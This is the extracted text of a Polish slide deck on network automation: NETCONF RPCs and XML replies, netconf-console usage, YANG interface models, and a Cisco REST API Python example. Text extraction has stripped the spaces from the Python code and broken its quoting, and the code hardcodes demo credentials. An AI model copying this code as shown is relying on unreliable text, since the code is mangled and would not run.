  52. 52. 52 Powitanie (capabilities) z naszej strony A jak ładnie poprosimy o konfigurację… NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <hello> <capabilities> <capability>urn:ietf:params:netconf:base:1.0</capability> </capabilities> </hello>]]>]]> <?xml version="1.0" encoding="UTF-8"?> <nc:rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <nc:get-config> <source> <running/> </source> </nc:get-config> </nc:rpc>
  53. 53. 53 NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <rpc-reply message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <data> <cli-config-data-block> ! Last configuration change at 04:41:21 CET Mon Mar 5 2017 by rsl ! NVRAM config last updated at 17:35:06 CEST Tue Oct 25 2016 by rsl ! version 15.5 service tcp-keepalives-in service tcp-keepalives-out […] </cli-config-data-block> </data> </rpc-reply> ]]>]]> …to ją dostaniemy
  54. 54. 54 NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <nc:rpc message-id="102" xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0"> <nc:get> <nc:filter type="subtree"> <native xmlns="http://cisco.com/ns/yang/ned/ios"> <interface> <GigabitEthernet> <name>0</name> <ip></ip> </GigabitEthernet> </interface> </native> </nc:filter> </nc:get> </nc:rpc> ]]>]]> Największa zaleta – strukturalizacja obiektów Wada – brak definicji modeli danych Modele dostarczane są dzięki językowi modelowania danych YANG
  55. 55. 55 NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="102"> <data> <native xmlns="http://cisco.com/ns/yang/ned/ios"> <interface> <GigabitEthernet> <name>0</name> <ip> <address> <primary> <address>10.1.1.1</address> <mask>255.255.255.0</mask> </primary> </address> </ip> </GigabitEthernet> </interface> </native> </data> </rpc-reply> ]]>]]> Największa zaleta – strukturalizacja obiektów
  56. 56. 56 NETCONF+ ./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 –hello Zamiast babrać się w terminalu, można użyć dedykowanej biblioteki confD, https://developer.cisco.com/site/confD/downloads/ oraz narzędzi jak netconf-console, w tym wersje w Pythonie (ncc) https://github.com/CiscoDevNet/ncc Nadal rozmawiamy XMLem, ale ciut łatwiej Na przykład pobranie konfiguracji hostname ./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 --get-config ./netconf-console --host 10.133.251.40 -u rsl -p <x> --get-config --x /native/hostname <?xml version="1.0" encoding="UTF-8"?> <rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="1"> <data> <native xmlns="urn:ios"> <hostname>Cisco</hostname> </native> </data> </rpc-reply>
  57. 57. 57 Język opisu modeli danych, RFC 6020 YANG https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
  58. 58. 58 Strukturalny oraz hierarchiczny YANG
  59. 59. 59 Modele danych opisane w standardach (jak poniżej) lub dostarczane przez vendorów Interface Data Model, RFC7223 YANG +--rw interfaces | +--rw interface* [name] | +--rw name string | +--rw description? string | +--rw type identityref | +--rw enabled? boolean | +--rw link-up-down-trap-enable? enumeration +--ro interfaces-state +--ro interface* [name] +--ro name string +--ro type identityref +--ro admin-status enumeration +--ro oper-status enumeration +--ro last-change? yang:date-and-time +--ro if-index int32 +--ro phys-address? yang:phys-address +--ro higher-layer-if* interface-state-ref +--ro lower-layer-if* interface-state-ref +--ro speed? yang:gauge64 +--ro statistics +--ro discontinuity-time yang:date-and-time +--ro in-octets? yang:counter64 +--ro in-unicast-pkts? yang:counter64 +--ro in-broadcast-pkts? yang:counter64 +--ro in-multicast-pkts? yang:counter64 +--ro in-discards? yang:counter32 +--ro in-errors? yang:counter32 +--ro in-unknown-protos? yang:counter32
  60. 60. 60 Fragment konfiguracji routera Cisco i jej odpowiednik w modelu YANG YANG https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
  61. 61. 61 A tu konkretna reprezentacja w formacie XML oraz JSON YANG https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
  62. 62. 62 REST (Representational State Transfer) API Każdy obiekt w drzewie ma swoją lokalizację Standardowe metody HTTP do obsługi Dane formatowane jako XML lub JSON Polecam zabawę z REST API na Cisco ASR 1000 lub CSR 1000v http://www.cisco.com/c/en/us/td/docs/routers/csr1000/software/restapi/restapi.html REST API https://10.133.251.40/api/v1/interfaces/gigabitEthernet0
  63. 63. 63 Biblioteki do programowania z użyciem REST API (tu użyciem Python) REST API importrequests importsys login_cookies=0 deflogin(): #Login(POSThttp://1.2.3.4/api/aaaLogin.xml) globallogin_cookies try: r=requests.post( url="http://1.2.3.4/api/aaaLogin.xml", data="<aaaUsername="admin"pwd="cisco123"/>" ) login_cookies=r.cookies exceptrequests.exceptions.RequestExceptionase: print('LoginHTTPRequestfailed') defnew_tenant(tenant_name): globallogin_cookies try: r=requests.post( url="http://1.2.3.4/api/node/mo/uni/tn-"+tenant_name+".json", data="{"fvTenant":{"attributes":{"dn":"uni/tn- "+tenant_name+"","name":""+tenant_name+"","rn":"tn- "+tenant_name+"","status":"created"},"children":[]}}", cookies=login_cookies ) exceptrequests.exceptions.RequestExceptionase: print('CreatetenantHTTPRequestfailed') login() new_tenant(sys.argv[1])
  64. 64. 64 Praktyczną walką z REST-API para się też ostatnio Piotr Wojciechowski https://ccieplayground.wordpress.com/tag/rest-api/ REST API
  65. 65. 65 Chodźcie, porozmawiamy! największa społeczność Cisco w Europie ponad 8300 użytkowników silny zespół: 3 głównych adminów Admin aplikacji 3 adminów serwerów 3 moderatorów członkami jest ponad 60 polskich CCIE – 20 z nich udzielających się aktywnie 100 tematów co miesiąc 800 postów co miesiąc dostępna sekcja anglojęzyczna
  66. 66. 66 Chodźcie, porozmawiamy!
  67. 67. 67 Dziękuję!

×